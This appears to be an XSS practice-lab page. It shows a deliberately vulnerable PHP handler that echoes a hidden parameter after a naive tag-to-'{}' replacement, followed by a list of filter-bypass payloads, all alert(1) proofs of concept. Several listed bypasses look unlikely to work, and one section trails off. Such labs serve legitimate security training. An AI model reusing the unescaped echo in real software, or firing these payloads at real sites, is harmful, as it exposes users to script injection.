Test XSS with curly brace replacement filtering
This lab demonstrates a unique filtering approach where blocked tags are replaced with curly braces {}, creating interesting transformation challenges for XSS testing.
# use arjun tool to find hidden parameter
str_replace(array('script','img','image'), '{}', $_GET['hidden'])
| Input Example | After Filter | Transformation |
|---|---|---|
<script>alert(1)</script> |
<{}>alert(1)</{}> |
'script' → '{}' |
<img src=x onerror=alert(1)> |
<{} src=x onerror=alert(1)> |
'img' → '{}' |
<image src=x onerror=alert(1)> |
<{} src=x onerror=alert(1)> |
'image' → '{}' |
Objective: Test XSS payloads against the curly brace filter and find ways to exploit the transformation to execute JavaScript.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["categoryid"])){
echo htmlspecialchars($_GET["categoryid"], ENT_QUOTES);
}
elseif(isset($_GET["hidden"])){
$arr = array('script','img','image');
$re = str_replace($arr, '{}', $_GET['hidden']);
echo $re;
}
# use arjun tool to find hidden parameter
<SCRIPT>alert(1)</SCRIPT> - Uppercase<Script>alert(1)</Script> - Capitalized<ScRiPt>alert(1)</ScRiPt> - Mixed case<svg onload=alert(1)> - SVG tag<body onload=alert(1)> - Body tag<iframe src="javascript:alert(1)"> - Iframe with JS protocol<object data="javascript:alert(1)"> - Object tag<scrscriptipt>alert(1)</scrscriptipt><scr<script>ipt>alert(1)</scr<script>ipt><{}>alert(1)</{}> might work in specific contexts
<scr"+"ipt>alert(1)</scr"+"ipt>Curly brace filtering demonstrates:
For secure web applications:
<SCRIPT>alert(1)</SCRIPT><Script>alert(1)</Script><ScRiPt>alert(1)</ScRiPt><svg onload=alert(1)><body onload=alert(1)><iframe src="javascript:alert(1)"><object data="javascript:alert(1)"><scrscriptipt>alert(1)</scrscriptipt> - Double writing<scr{}ipt>alert(1)</scr{}ipt> - Using the curly braces<scr"+"ipt>alert(1)</scr"+"ipt> - String concatenationjavascript:alert(1) - JavaScript protocol